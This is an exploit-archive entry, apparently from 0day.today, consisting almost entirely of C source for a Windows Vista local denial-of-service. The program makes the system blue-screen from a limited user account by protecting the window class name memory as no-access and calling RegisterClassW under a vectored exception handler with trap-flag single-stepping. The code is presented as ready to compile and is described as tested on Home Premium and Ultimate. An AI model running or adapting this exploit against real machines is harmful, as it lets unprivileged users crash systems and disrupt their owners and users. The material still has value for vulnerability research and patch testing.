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MS Windows Vista Access Violation from Limited Account Exploit (BSoD)
[=====================================================================
MS Windows Vista Access Violation from Limited Account Exploit (BSoD)
=====================================================================
// //////////////////////////////////////////////////////////////
// Windows Vista BSoD (Access violation) from limited account. //
// Tested on Home Premium & Ultimate @ October 05 2008 //
/////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
WCHAR szClass[] = L"BSODClass";
int ExceptionHandler(EXCEPTION_POINTERS* lpExceptionInfo);
typedef void (WINAPI* pFunc)(ULONG ulFirst, LPVOID lpHandler);
pFunc pRtlAddVectoredExceptionHandler;
typedef struct
{
DWORD dwWriteViolation;
LPVOID lpAddress;
} EXCEPTION_ACCESS_VIOLATION_PARAMS;
int main()
{
WNDCLASSW wc;
DWORD dwOldProt;
printf("Windows Vista BSoD from usermode/limited account.\n"
"Coded by. Defsanguje - October 05 2008\n");
// Setup vectored exception handler. SEH would work also.
pRtlAddVectoredExceptionHandler = (pFunc)GetProcAddress((HMODULE)GetModuleHandle("ntdll.dll"),
"RtlAddVectoredExceptionHandler");
(*pRtlAddVectoredExceptionHandler)(TRUE, ExceptionHandler);
// Dummy data
wc.style = 0;
wc.lpfnWndProc = NULL;
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hInstance = GetModuleHandle(NULL);
wc.hIcon = NULL;
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
wc.hbrBackground = GetStockObject(HOLLOW_BRUSH);
wc.lpszMenuName = NULL;
wc.lpszClassName = szClass;
VirtualProtect(szClass, 1, PAGE_NOACCESS, &dwOldProt);
RegisterClassW(&wc);
printf("You shouldn't see this");
return 0;
}
int ExceptionHandler(EXCEPTION_POINTERS* lpExceptionInfo)
{
static LPVOID lpLastAddress;
static DWORD dwOldProt;
EXCEPTION_ACCESS_VIOLATION_PARAMS* avParams;
switch(lpExceptionInfo->ExceptionRecord->ExceptionCode)
{
case EXCEPTION_ACCESS_VIOLATION:
avParams = (EXCEPTION_ACCESS_VIOLATION_PARAMS*)lpExceptionInfo->ExceptionRecord->ExceptionInformation;
VirtualProtect(avParams->lpAddress, 1, PAGE_READWRITE, &dwOldProt);
lpLastAddress = avParams->lpAddress;
// Set trap flag
lpExceptionInfo->ContextRecord->EFlags |= 0x100;
break;
case STATUS_SINGLE_STEP:
VirtualProtect(lpLastAddress, 1, PAGE_NOACCESS, &dwOldProt);
break;
default:
break;
}
return EXCEPTION_CONTINUE_EXECUTION;
;
}
# 0day.today [2024-11-15] #